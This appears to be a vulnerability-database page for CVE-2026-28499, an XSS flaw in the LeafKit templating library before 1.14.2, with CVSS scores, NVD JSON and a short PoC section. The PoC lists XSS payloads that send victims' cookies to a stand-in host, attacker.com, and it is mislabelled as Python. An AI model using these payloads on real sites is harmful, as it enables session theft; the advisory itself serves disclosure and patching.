Security Vulnerability Report
中文
CVE-2026-28499 CVSS 6.1 MEDIUM

CVE-2026-28499

Published: 2026-03-18 02:16:24
Last Modified: 2026-03-18 19:48:35

Description

LeafKit is a templating language with Swift-inspired syntax. Prior to version 1.14.2, HTML escaping doesn't work correctly when a template prints a collection (Array / Dictionary) via `#(value)`. This can result in XSS, allowing potentially untrusted input to be rendered unescaped. Version 1.14.2 fixes the issue.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:vapor:leafkit:*:*:*:*:*:*:*:* - VULNERABLE
LeafKit < 1.14.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// LeafKit XSS PoC - CVE-2026-28499 // This PoC demonstrates how malicious collection data can bypass HTML escaping // Vulnerable template example (before fix): // let values = ["<script>alert('XSS')</script>"] // In template: #(values) // Result: Script executes instead of being escaped // Example payload injection scenarios: const maliciousPayloads = [ '<script>document.location="https://attacker.com/steal?c="+document.cookie</script>', '<img src=x onerror="fetch(\"https://attacker.com/log?data=\"+btoa(document.cookie))\">', '<svg/onload=fetch("https://attacker.com/steal?cookie="+document.cookie)>', 'javascript:alert(document.domain)', ]; // Example vulnerable code pattern: // let userComments = ["<script>alert(1)</script>"] // template.render("comments.leaf", ["comments": userComments]) // In template: #(comments) - outputs unescaped content // Fixed version (1.14.2+) would properly escape each element: // Expected output: &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28499", "sourceIdentifier": "[email protected]", "published": "2026-03-18T02:16:24.060", "lastModified": "2026-03-18T19:48:35.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LeafKit is a templating language with Swift-inspired syntax. Prior to version 1.14.2, HTML escaping doesn't work correctly when a template prints a collection (Array / Dictionary) via `#(value)`. This can result in XSS, allowing potentially untrusted input to be rendered unescaped. Version 1.14.2 fixes the issue."}, {"lang": "es", "value": "LeafKit es un lenguaje de plantillas con sintaxis inspirada en Swift. Antes de la versión 1.14.2, el escape de HTML no funciona correctamente cuando una plantilla imprime una colección (Array / Dictionary) a través de `#(value)`. Esto puede resultar en XSS, permitiendo que la entrada potencialmente no confiable se renderice sin escape. La versión 1.14.2 soluciona el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-80"}, {"lang": "en", "value": "CWE-116"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vapor:leafkit:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.14.2", "matchCriteriaId": "C8687D7A-0F30-464E-8F28-21C4B1B29F0D"}]}]}], "references": [{"url": "https://github.com/vapor/leaf-kit/commit/6044b844caa858a0c5f2505ac166f5a057c990dc", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/vapor/leaf-kit/releases/tag/1.14.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/vapor/leaf-kit/security/advisories/GHSA-6jj5-j4j8-8473", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/vapor/leaf-kit/security/advisories/GHSA-6jj5-j4j8-8473", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}